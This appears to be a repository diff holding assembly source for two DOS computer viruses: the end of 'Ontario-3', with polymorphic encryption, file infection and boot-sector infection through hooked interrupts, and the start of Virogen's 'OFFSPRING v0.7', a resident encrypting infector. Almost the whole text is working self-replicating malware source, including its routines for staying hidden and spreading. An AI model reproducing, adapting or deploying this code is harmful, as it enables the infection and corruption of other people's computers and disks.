add ax,offset enddecrypt
|
||||
infectDSDXcontinue:
|
||||
mov word ptr ds:patch2,ax ; patch start area
|
||||
push bx ; save file handle
|
||||
xor byte ptr ds:decrypt_loop,18h ; swap SS: & CS:
|
||||
call encrypt ; encrypt virus to buffer
|
||||
pop bx ; restore file handle
|
||||
mov ah,40h ; Concatenate encrypted
|
||||
call callint21 ; virus
|
||||
jc infectDSDXclose ; exit on error
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
mov ax,4200h ; go to start of file
|
||||
call callint21
|
||||
jc infectDSDXclose
|
||||
mov dx,offset readbuffer
|
||||
mov cx,1Ch
|
||||
mov ah,40h ; Write new header
|
||||
call callint21
|
||||
infectDSDXclose:
|
||||
pop cx
|
||||
pop dx
|
||||
jc infectDSDXnoaltertime
|
||||
cmp byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM?
|
||||
je infectDSDXnoaltertime
|
||||
or cl,1Fh ; set time to 62 seconds
|
||||
infectDSDXnoaltertime:
|
||||
mov ax,5701h ; restore file time/date
|
||||
call callint21
|
||||
mov ah,3Eh ; Close file
|
||||
call callint21
|
||||
infectDSDXrestoreattributes:
|
||||
mov byte ptr cs:infCOMMAND,0
|
||||
mov byte ptr cs:infectSYS,0
|
||||
popf
|
||||
pop cx
|
||||
pop ds
|
||||
pop dx
|
||||
jc infectDSDXexit
|
||||
mov ax,4301h ; restore file attributes
|
||||
call callint21
|
||||
infectDSDXexit:
|
||||
call restoreint13and24
|
||||
call popall
|
||||
retn
|
||||
|
||||
pushall:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
pushf
|
||||
xchg ax,[bp+2]
|
||||
push ax
|
||||
mov ax,[bp+2]
|
||||
retn
|
||||
|
||||
popall:
|
||||
pop ax
|
||||
xchg ax,[bp+2]
|
||||
popf
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop bp
|
||||
retn
|
||||
|
||||
replaceint13and24:
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov si,13h*4
|
||||
lodsw
|
||||
mov word ptr cs:origint13_1,ax
|
||||
lodsw
|
||||
mov word ptr cs:origint13_2,ax
|
||||
mov si,24h*4
|
||||
lodsw
|
||||
mov word ptr cs:origint24_1,ax
|
||||
lodsw
|
||||
mov word ptr cs:origint24_2,ax
|
||||
mov word ptr ds:13h*4,1234h
|
||||
storeint13_1 = $ - 2
|
||||
mov word ptr ds:13h*4+2,1234h
|
||||
storeint13_2 = $ - 2
|
||||
mov word ptr ds:24h*4,offset int24 ; replace int 24 handler
|
||||
mov ds:24h*4+2,cs
|
||||
pop ds
|
||||
retn
|
||||
|
||||
restoreint13and24:
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:13h*4,1234h
|
||||
origint13_1 = $ - 2
|
||||
mov word ptr ds:13h*4+2,1234h
|
||||
origint13_2 = $ - 2
|
||||
mov word ptr ds:24h*4,1234h
|
||||
origint24_1 = $ - 2
|
||||
mov word ptr ds:24h*4+2,1234h
|
||||
origint24_2 = $ - 2
|
||||
retn
|
||||
|
||||
int24:
|
||||
xor al,al
|
||||
iret
|
||||
|
||||
encrypt:
|
||||
mov di,offset patch4
|
||||
mov si,di
|
||||
mov word ptr [si],offset save4 - offset enddecrypt
|
||||
xor bx,bx
|
||||
call random
|
||||
jz encrypt1
|
||||
add bl,4
|
||||
inc di
|
||||
encrypt1:
|
||||
call random
|
||||
in al,40h ; get random #
|
||||
mov bh,al
|
||||
jz encrypt2
|
||||
add [di],al ; alter amount to encrypt
|
||||
add bl,28h
|
||||
jmp short encrypt3
|
||||
encrypt2:
|
||||
sub [di],al ; alter amount to encrypt
|
||||
encrypt3:
|
||||
add bl,0C1h
|
||||
mov [si+3],bx
|
||||
call random
|
||||
jz encrypt4
|
||||
xor byte ptr [si+2],2 ; flip betwen add/sub
|
||||
encrypt4:
|
||||
in ax,40h ; get random number != 0
|
||||
or ax,ax
|
||||
jz encrypt4
|
||||
mov bx,3 ; first choose one of
|
||||
xor dx,dx ; three possible registers
|
||||
div bx
|
||||
xchg ax,bx
|
||||
inc ax ; ax = 4
|
||||
mul dx ; convert to offset in
|
||||
xchg ax,bx ; table
|
||||
lea si,[bx+offset table1]
|
||||
lodsb
|
||||
mov byte ptr ds:patch1,al
|
||||
lodsb
|
||||
mov byte ptr ds:patch9,al
|
||||
lodsb
|
||||
mov byte ptr ds:patch12,al
|
||||
lodsb
|
||||
mov byte ptr ds:patch15,al
|
||||
call random
|
||||
jz encrypt5
|
||||
xor byte ptr ds:patch13,2 ; loop/loopnz
|
||||
encrypt5:
|
||||
in ax,40h ; get random number
|
||||
mov byte ptr ds:patch8,ah
|
||||
and ax,0Fh
|
||||
xchg ax,bx
|
||||
shl bx,1
|
||||
mov ax,[bx+offset table2]
|
||||
mov word ptr ds:patch10,ax
|
||||
xor si,si
|
||||
mov di,offset encryptbuffer ; copy virus to
|
||||
mov cx,endvirus - decrypt ; temporary buffer
|
||||
push cx ; for encryption
|
||||
cld
|
||||
rep movsb
|
||||
mov bx,offset enddecrypt
|
||||
push word ptr [bx] ; save it
|
||||
mov byte ptr [bx],0C3h ; put retn in its place
|
||||
push bx
|
||||
xor byte ptr [bx-7],28h ; sub/add
|
||||
push word ptr ds:decrypt_loop
|
||||
mov byte ptr [bx-8],2Eh ; CS:
|
||||
mov dx,offset encryptbuffer
|
||||
add bx,dx
|
||||
mov word ptr ds:patch2,bx
|
||||
call decrypt
|
||||
pop word ptr ds:decrypt_loop
|
||||
pop bx
|
||||
pop word ptr [bx]
|
||||
pop cx
|
||||
retn
|
||||
|
||||
|
||||
random: ; 1/2 chance of zero flag set
|
||||
in al,40h
|
||||
and al,1
|
||||
cmp al,1
|
||||
retn
|
||||
|
||||
|
||||
saveorigvectors:
|
||||
push ds
|
||||
push ax
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:13h*4
|
||||
mov word ptr cs:[bx+storeint13_1],ax
|
||||
mov ax,ds:13h*4+2
|
||||
mov word ptr cs:[bx+storeint13_2],ax
|
||||
mov ax,ds:21h*4
|
||||
mov word ptr cs:[bx+offset oldint21],ax
|
||||
mov ax,ds:21h*4+2
|
||||
mov word ptr cs:[bx+offset oldint21+2],ax
|
||||
pop ax
|
||||
pop ds
|
||||
retn
|
||||
|
||||
strategy:
|
||||
mov word ptr cs:[bx+doffset],bx ; save delta offset
|
||||
pop bx
|
||||
pop di
|
||||
pop si
|
||||
call pushall
|
||||
push cs
|
||||
pop ds
|
||||
mov bx,1234h ; restore delta offset
|
||||
doffset = $ - 2
|
||||
db 8bh, 87h ; mov ax,ds:[save4+6]
|
||||
dw offset save4 + 6 ; get old strategy entry point
|
||||
mov word ptr ds:[6],ax ; and restore to file header
|
||||
int 12h ; Get memory size in K
|
||||
sub ax,5 ; decrease by 5 K
|
||||
mov cl,6 ; convert to paragraphs
|
||||
shl ax,cl
|
||||
mov es,ax
|
||||
mov word ptr ds:[bx+himemsegment],ax
|
||||
cmp byte ptr es:[3],0B9h ; check if already installed
|
||||
je strategyexit
|
||||
mov si,bx ; copy to high memory
|
||||
xor di,di
|
||||
mov cx,viruslength
|
||||
rep movsb
|
||||
pushf
|
||||
db 09Ah ; call far ptr
|
||||
dw infectCOMMANDCOM
|
||||
himemsegment dw 0
|
||||
|
||||
strategyexit:
|
||||
call popall
|
||||
jmp word ptr cs:[6] ; go to original strategy
|
||||
|
||||
table1 db 0BEh, 04h, 46h,0F3h ; si
|
||||
db 0BFh, 05h, 47h,0FBh ; di
|
||||
db 0BBh, 07h, 43h,0DBh ; bx
|
||||
|
||||
table2: inc al
|
||||
dec al
|
||||
inc ax
|
||||
inc ax
|
||||
dec ax
|
||||
dec ax
|
||||
add al,cl
|
||||
sub al,cl
|
||||
xor al,cl
|
||||
xor al,ch
|
||||
not al
|
||||
neg al
|
||||
ror al,1
|
||||
rol al,1
|
||||
ror al,cl
|
||||
rol al,cl
|
||||
nop
|
||||
nop
|
||||
add al,ch
|
||||
|
||||
comspec db 'COMSPEC='
|
||||
command_com db '\COMMAND.COM',0
|
||||
|
||||
validextensions db 'COMEXEOVLSYS'
|
||||
|
||||
bootsector: ; offset 600h in the virus
|
||||
jmp short bootsectorentry
|
||||
nop
|
||||
bootparms db 3Bh dup (0)
|
||||
|
||||
bootsectorentry:
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,7C00h
|
||||
sti
|
||||
mov ax,ds:13h*4 ; get int 13h handler
|
||||
mov word ptr ds:[7C00h+oldint13-bootsector],ax
|
||||
mov ax,ds:13h*4+2 ; and save it
|
||||
mov word ptr ds:[7C00h+oldint13+2-bootsector],ax
|
||||
mov ax,ds:[413h] ; get total memory
|
||||
sub ax,2 ; reduce by 2K
|
||||
mov ds:[413h],ax ; replace memory size
|
||||
mov cl,6
|
||||
shl ax,cl ; convert to paragraphs
|
||||
sub ax,60h ; go to boot block start
|
||||
mov es,ax
|
||||
mov si,sp
|
||||
mov di,offset bootsector
|
||||
mov cx,100h
|
||||
rep movsw
|
||||
mov dx,offset highentry
|
||||
push es
|
||||
push dx
|
||||
retf
|
||||
highentry:
|
||||
xor ax,ax ; reset disk
|
||||
and dl,al
|
||||
int 13h
|
||||
push ds
|
||||
push es
|
||||
pop ds
|
||||
pop es
|
||||
mov bx,sp ; read to 0:7C00h
|
||||
mov dx,drivehead ; find where original boot
|
||||
mov cx,sectortrack ; block stored and then
|
||||
mov ax,201h ; read original boot
|
||||
int 13h ; sector
|
||||
jc $ ; halt on error
|
||||
xor ax,ax ; else chain to original
|
||||
mov ds,ax ; boot sector
|
||||
mov word ptr ds:13h*4,offset int13
|
||||
mov ds:13h*4+2,cs ; replace int 13h handler
|
||||
push es
|
||||
push bx
|
||||
retf
|
||||
|
||||
int13:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
pushf
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
test byte ptr ds:[43Fh],1 ; A: spinning?
|
||||
jnz exitint13 ; exit if so
|
||||
or dl,dl ; default drive?
|
||||
jnz exitint13 ; exit if not
|
||||
cmp ah,2 ; read/write/verify?
|
||||
jb exitint13
|
||||
cmp ah,4
|
||||
jbe trapint13
|
||||
exitint13:
|
||||
popf
|
||||
pop ax
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
jmp dword ptr cs:oldint13 ; chain to original handler
|
||||
|
||||
trapint13:
|
||||
cld
|
||||
push cs
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
xor cx,cx
|
||||
mov dx,cx
|
||||
inc cx
|
||||
mov bx,offset endvirus ; read boot block to
|
||||
mov ax,201h ; buffer at endvirus
|
||||
call callint13
|
||||
jnc int13readOK
|
||||
int13exit:
|
||||
jmp short exitint13
|
||||
int13readOK:
|
||||
cmp word ptr [bx+15h],501Eh ; push ds, push ax?
|
||||
jne int13skip
|
||||
cmp word ptr [bx+35h],0FF2Eh; jmp cs: ?
|
||||
jne int13skip
|
||||
cmp word ptr [bx+70h],7505h ; add ax,XX75 ?
|
||||
jne int13skip
|
||||
mov dh,1
|
||||
mov cl,3
|
||||
mov ax,201h
|
||||
call callint13
|
||||
xor dh,dh
|
||||
mov cl,1
|
||||
mov ax,301h
|
||||
call callint13
|
||||
int13skip:
|
||||
cmp word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
|
||||
je int13exit ; don't infect self
|
||||
cmp word ptr ds:[offset endvirus+0Bh],200h
|
||||
jne int13exit ; infect only 512 bytes per sector
|
||||
cmp byte ptr ds:[offset endvirus+0Dh],2
|
||||
jne int13exit ; only 2 reserved sectors
|
||||
cmp word ptr ds:[offset endvirus+1Ah],2
|
||||
ja int13exit ; only 2 sec/track
|
||||
xor dx,dx ; calculate new location of boot block
|
||||
mov ax,word ptr ds:[offset endvirus+13h] ; total sec
|
||||
mov bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
|
||||
mov cx,bx
|
||||
div bx ; # track
|
||||
xor dx,dx
|
||||
mov bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
|
||||
div bx
|
||||
sub word ptr ds:[offset endvirus+13h],cx ; total sec
|
||||
dec ax
|
||||
mov byte ptr sectortrack+1,al
|
||||
mov ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
|
||||
mov byte ptr sectortrack,al
|
||||
mov ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
|
||||
dec ax
|
||||
mov byte ptr drivehead+1,al
|
||||
mov byte ptr drivehead,0
|
||||
mov dx,drivehead ; move original boot block
|
||||
mov cx,sectortrack ; to end of disk
|
||||
mov bx,offset endvirus
|
||||
mov ax,301h
|
||||
call callint13
|
||||
jc go_exitint13
|
||||
mov si,offset endvirus+3 ; copy parameters so
|
||||
mov di,offset bootparms ; no one notices boot
|
||||
mov cx,bootsectorentry - bootparms ; block is changed
|
||||
rep movsb
|
||||
xor cx,cx
|
||||
mov dx,cx
|
||||
inc cx
|
||||
mov bx,offset bootsector ; copy virus boot block
|
||||
mov ax,301h
|
||||
call callint13
|
||||
go_exitint13:
|
||||
jmp exitint13
|
||||
|
||||
callint21:
|
||||
pushf
|
||||
call dword ptr cs:oldint21
|
||||
retn
|
||||
|
||||
callint13:
|
||||
pushf
|
||||
call dword ptr cs:oldint13
|
||||
retn
|
||||
|
||||
oldint13 dd 0
|
||||
drivehead dw 100h
|
||||
sectortrack dw 2709h
|
||||
YAM db '*YAM*',1Ah
|
||||
db 'Your PC has a bootache! - Get some medicine!',1Ah
|
||||
db 'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
|
||||
save4:
|
||||
origCSIP db 0CDh, 020h, 0, 0
|
||||
origSSSP dd 0
|
||||
|
||||
endvirus:
|
||||
|
||||
viruslength = $ - decrypt
|
||||
|
||||
infCOMMAND db ?
|
||||
infectSYS db ?
|
||||
readbuffer db 01Ch dup (?)
|
||||
encryptbuffer db viruslength dup (?)
|
||||
|
||||
end decrypt
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,714 @@
|
|||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with A86 v3.22
|
||||
;
|
||||
;
|
||||
; DISCLAIMER : Don't hold me responsible for any damages, or the release
|
||||
; of this virus. Use at your own risk.
|
||||
;
|
||||
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.7
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
||||
; 0Eh (change drive) is called the virus will infect
|
||||
; up to 5 files in the current directory (the one
|
||||
; you're coming out of). It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; bytes between them are constantly changed. The
|
||||
; call to the encryption routine changes, so the
|
||||
; address can be anywhere in a field of NOPs.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
TITLE OFFSPRING_1
|
||||
.286
|
||||
CSEG SEGMENT
|
||||
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
|
||||
|
||||
SIGNAL EQU 7DH ; Installation check
|
||||
REPLY EQU 0FCH ; reply to check
|
||||
CR EQU 0DH ; carraige return
|
||||
LF EQU 0AH ; line feed
|
||||
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
|
||||
F_SIZEL EQU 1CH ; File size - low
|
||||
F_SIZEH EQU 1AH ; File size - high
|
||||
F_DATE EQU 18H ; File date
|
||||
F_TIME EQU 16H ; File time
|
||||
MAX_INF EQU 05 ; Maximum files to infect per run
|
||||
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
|
||||
PARASTIC EQU 01 ; Parastic infection
|
||||
SPAWN EQU 00 ; Spawning infection
|
||||
|
||||
ORG 100H ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
START:
|
||||
|
||||
DB 0BEH ; MOV SI,xxxx - Load delta offset
|
||||
SET_SI: DW 0000H
|
||||
|
||||
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
M_SW1: NOP ; changs into a byte in op_set
|
||||
XCHG_1 DB 0BFH
|
||||
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
|
||||
; Switches positions with XCHG_2
|
||||
M_SW2: NOP ; changes into a byte in op_set
|
||||
XCHG_2 DB 090H
|
||||
ENC_NUM DW 9090H
|
||||
M_SW3: NOP
|
||||
|
||||
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
|
||||
ADD_DI: DW 9000H ; 00-NOP
|
||||
|
||||
CALL_ENC DB 0E8 ; Call encryption routine - address changes
|
||||
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
|
||||
NO_DEC:
|
||||
JMP MAIN ; Jump to virus code
|
||||
|
||||
;-----------------------------------------------
|
||||
; Data area
|
||||
;-----------------------------------------------
|
||||
|
||||
ENC_DATA DW 0000 ; Start of encrypted data
|
||||
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
|
||||
VTYPE DB 00 ; Spawning or Parastic Infection?
|
||||
INF_COUNT DB 0 ; How many files we have infected this run
|
||||
COM_NAME DB 'COMMAND.COM' ; obvious
|
||||
NEW_CODE DW 9090H ; ID bytes
|
||||
NEW_JMP DB 0E9H,00,00 ; New Jump
|
||||
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
|
||||
ADD_MEM DB 0 ; restore mem size? Yes,No
|
||||
|
||||
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
|
||||
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
|
||||
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
|
||||
|
||||
FNAME1 DB '*.EXE',0 ; Filespec
|
||||
FNAME2 DB '*.COM',0 ; Filespec
|
||||
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
|
||||
TIMES_INC DB 0 ; # of times encryption call incremented
|
||||
SL DB '\' ; Backslash for directory name
|
||||
FILE_DIR DB 64 DUP(0) ; directory of file we infected
|
||||
FILE_NAME DB 13 DUP(0) ; filename of file we infected
|
||||
OLD_DTA DD 0 ; old seg:off of DTA
|
||||
OLD21_OFS DW 0 ; Offset of old INT 21H
|
||||
OLD21_SEG DW 0 ; Seg of old INT 21h
|
||||
NEW_SEG DW 0 ; New segment in high mem
|
||||
|
||||
PAR_BLK DW 0 ; command line count byte -psp
|
||||
PAR_CMD DW 0080H ; Point to the command line -psp
|
||||
PAR_SEG DW 0 ; seg
|
||||
DW 05CH ; Use default FCB's in psp to save space
|
||||
PAR1 DW 0 ;
|
||||
DW 06CH ; FCB #2
|
||||
PAR2 DW 0 ;
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
NEW21 PROC ; New INT 21H handler
|
||||
|
||||
CMP AH, SIGNAL ; signaling us?
|
||||
JNE NO
|
||||
MOV AH,REPLY ; yep, give our offspring what he wants
|
||||
JMP END_21
|
||||
NO:
|
||||
CMP AH, 3BH ; set dir func?
|
||||
JE RUN_RES
|
||||
CMP AH,0EH ; set disk func?
|
||||
JE RUN_RES
|
||||
|
||||
JMP END_21
|
||||
|
||||
RUN_RES:
|
||||
PUSHF
|
||||
PUSH AX ; Push regs
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH BP
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SP
|
||||
PUSH SS
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
XOR AX,AX ; nullify ES
|
||||
MOV ES,AX
|
||||
|
||||
CMP ADD_MEM,1 ; Restore system conventional mem size?
|
||||
JE REL_MEM ;
|
||||
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
|
||||
JE SET_MEM ; total system memory.
|
||||
|
||||
JMP NO_MEM_FUNC
|
||||
|
||||
SET_MEM:
|
||||
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
|
||||
INC ADD_MEM ; make sure we know to add this back
|
||||
JMP NO_MEM_FUNC
|
||||
REL_MEM:
|
||||
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
|
||||
DEC ADD_MEM
|
||||
|
||||
|
||||
NO_MEM_FUNC:
|
||||
MOV AH,2FH
|
||||
INT 21H ; Get the DTA
|
||||
|
||||
MOV AX,ES
|
||||
MOV WORD PTR OLD_DTA,BX
|
||||
MOV WORD PTR OLD_DTA+2,AX
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
CALL RESIDENT ; Call infection kernal
|
||||
|
||||
MOV DX,WORD PTR OLD_DTA
|
||||
MOV AX,WORD PTR OLD_DTA+2
|
||||
MOV DS,AX
|
||||
MOV AH,1AH
|
||||
INT 21H ; Restore the DTA
|
||||
|
||||
POP SS ; Pop regs
|
||||
POP SP
|
||||
POP ES
|
||||
POP DS
|
||||
POP BP
|
||||
POP SI
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
END_21 :
|
||||
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
|
||||
IRET
|
||||
NEW21 ENDP ; End of handler
|
||||
|
||||
|
||||
;------------------------------------------------------------
|
||||
; Main
|
||||
;-----------------------------------------------------------
|
||||
MAIN PROC
|
||||
|
||||
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
|
||||
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
|
||||
|
||||
MOV AX,DS: 002CH ; Get environment address
|
||||
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
|
||||
|
||||
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
|
||||
MOV [SI+OFFSET PAR2],CS
|
||||
MOV [SI+OFFSET PAR_SEG],CS
|
||||
|
||||
MOV AH,2AH ; Get date
|
||||
INT 21H
|
||||
|
||||
CMP DL,14 ; 14th?
|
||||
JNE NO_DISPLAY
|
||||
|
||||
MOV AH,09 ; Display message
|
||||
LEA DX,[SI+OFFSET ID]
|
||||
INT 21H
|
||||
|
||||
NO_DISPLAY:
|
||||
CALL INSTALL ; check if installed, if not install
|
||||
|
||||
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
|
||||
JE SKIP_THIS
|
||||
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
|
||||
MOV CL,4 ; divide by 16
|
||||
SHR BX,CL
|
||||
INC BX
|
||||
MOV AH,4AH
|
||||
INT 21H ; Release un-needed memory
|
||||
|
||||
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
|
||||
LEA BX,[SI+OFFSET PAR_BLK]
|
||||
MOV AX,4B00H
|
||||
INT 21H
|
||||
|
||||
MOV AH,4CH ; Exit
|
||||
INT 21H
|
||||
|
||||
SKIP_THIS:
|
||||
|
||||
MOV CX,5 ; Restore original first
|
||||
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
|
||||
MOV DI,0100H
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV AX,0100H ; Simulate CALL return to 0100h
|
||||
PUSH AX
|
||||
RET
|
||||
|
||||
MAIN ENDP
|
||||
|
||||
;---------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------
|
||||
|
||||
INSTALL PROC
|
||||
|
||||
MOV AH,SIGNAL
|
||||
INT 21H
|
||||
CMP AH,REPLY
|
||||
JE NO_INSTALL
|
||||
|
||||
MOV AX,CS
|
||||
DEC AX
|
||||
MOV DS,AX
|
||||
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
JNE NO_INSTALL
|
||||
|
||||
|
||||
MOV AX,DS: [3] ;Block size in MCB
|
||||
SUB AX,190 ;Shrink Block Size-quick estimate
|
||||
MOV DS: [3],AX
|
||||
|
||||
MOV BX,AX
|
||||
MOV AX,ES
|
||||
ADD AX,BX
|
||||
MOV ES,AX ;Find high memory seg
|
||||
|
||||
PUSH SI
|
||||
ADD SI,0100H
|
||||
MOV CX,(OFFSET VEND - OFFSET START)
|
||||
MOV AX,DS
|
||||
INC AX
|
||||
MOV DS,AX
|
||||
MOV DI,100H ; New location in high memory
|
||||
CLD
|
||||
REP MOVSB ; Copy virus to high memory
|
||||
|
||||
POP SI
|
||||
MOV DS: NEW_SEG,ES ;Save new segment
|
||||
|
||||
PUSH ES
|
||||
POP DS
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; null es
|
||||
MOV AX,ES: [21H*4+2]
|
||||
MOV BX,ES: [21H*4]
|
||||
MOV DS: OLD21_SEG,AX ; Store segment
|
||||
MOV DS: OLD21_OFS,BX ; Store offset
|
||||
|
||||
CLI
|
||||
|
||||
MOV ES: [21H*4+2],DS ; Save seg
|
||||
LEA AX,[OFFSET NEW21]
|
||||
MOV ES: [21H*4],AX ; off
|
||||
|
||||
STI
|
||||
|
||||
NO_INSTALL:
|
||||
PUSH CS ; Restore regs
|
||||
POP DS
|
||||
MOV ES,DS
|
||||
|
||||
RET
|
||||
INSTALL ENDP
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
RESIDENT PROC
|
||||
|
||||
MOV VTYPE,SPAWN
|
||||
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
|
||||
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
|
||||
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
|
||||
MOV BYTE PTR INF_COUNT,0 ; null infection count
|
||||
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
|
||||
|
||||
FIND_FIRST:
|
||||
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
|
||||
LEA SI, VEND
|
||||
LEA DI, VEND+2
|
||||
MOV CX,22
|
||||
CLD
|
||||
REP MOVSW
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
MOV AH, 1AH
|
||||
LEA DX, VEND
|
||||
INT 21H
|
||||
|
||||
MOV AH, 4EH ; Findfirst
|
||||
MOV CX, 0 ; Set normal file attribute search
|
||||
MOV DX, FNAME_OFF
|
||||
INT 21H
|
||||
|
||||
JNC NEXT_LOOP ; if still finding files then loop
|
||||
JMP END_PROG
|
||||
|
||||
NEXT_LOOP :
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE START_INF ; yes, skip all this
|
||||
|
||||
MOV AH,47H
|
||||
XOR DL,DL
|
||||
LEA SI,FILE_DIR
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
|
||||
JE OK_FIND ; for spawning infections
|
||||
JMP FIND_FILE
|
||||
|
||||
OK_FIND:
|
||||
XOR BX,BX
|
||||
LM3 : ; find end of directory name
|
||||
INC BX
|
||||
CMP FILE_DIR[BX],0
|
||||
JNE LM3
|
||||
|
||||
MOV FILE_DIR[BX],'\' ; append backslash to path
|
||||
INC BX
|
||||
|
||||
MOV CX,13 ; append filename to path
|
||||
LEA SI,VEND[F_NAME]
|
||||
LEA DI,FILE_DIR[BX]
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
XOR BX,BX
|
||||
MOV BX,1EH
|
||||
|
||||
LOOP_ME: ; search for filename ext.
|
||||
INC BX
|
||||
CMP BYTE PTR VEND[BX], '.'
|
||||
JNE LOOP_ME
|
||||
|
||||
INC BX ; change it to COM
|
||||
MOV WORD PTR VEND [BX],'OC'
|
||||
MOV BYTE PTR VEND [BX+2],'M'
|
||||
|
||||
|
||||
START_INF:
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE PARASTIC_INF ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
LEA DX, VEND[F_NAME]
|
||||
MOV AH, 3CH ; Create file
|
||||
MOV CX, 02H ; READ-ONLY
|
||||
OR CX, 01H ; Hidden
|
||||
INT 21H ; Call INT 21H
|
||||
JNC CONTIN ; If Error-probably already infected
|
||||
JMP NO_INFECT
|
||||
CONTIN:
|
||||
|
||||
INC INF_COUNT
|
||||
MOV BX,AX
|
||||
|
||||
JMP ENCRYPT_OPS
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
PARASTIC_INF :
|
||||
|
||||
CMP VEND[F_SIZEh],400H
|
||||
JGE CONT_INF2
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF2:
|
||||
|
||||
LEA SI,VEND[F_NAME] ; Is Command.COM?
|
||||
LEA DI,COM_NAME
|
||||
MOV CX,11
|
||||
CLD
|
||||
REPE CMPSB
|
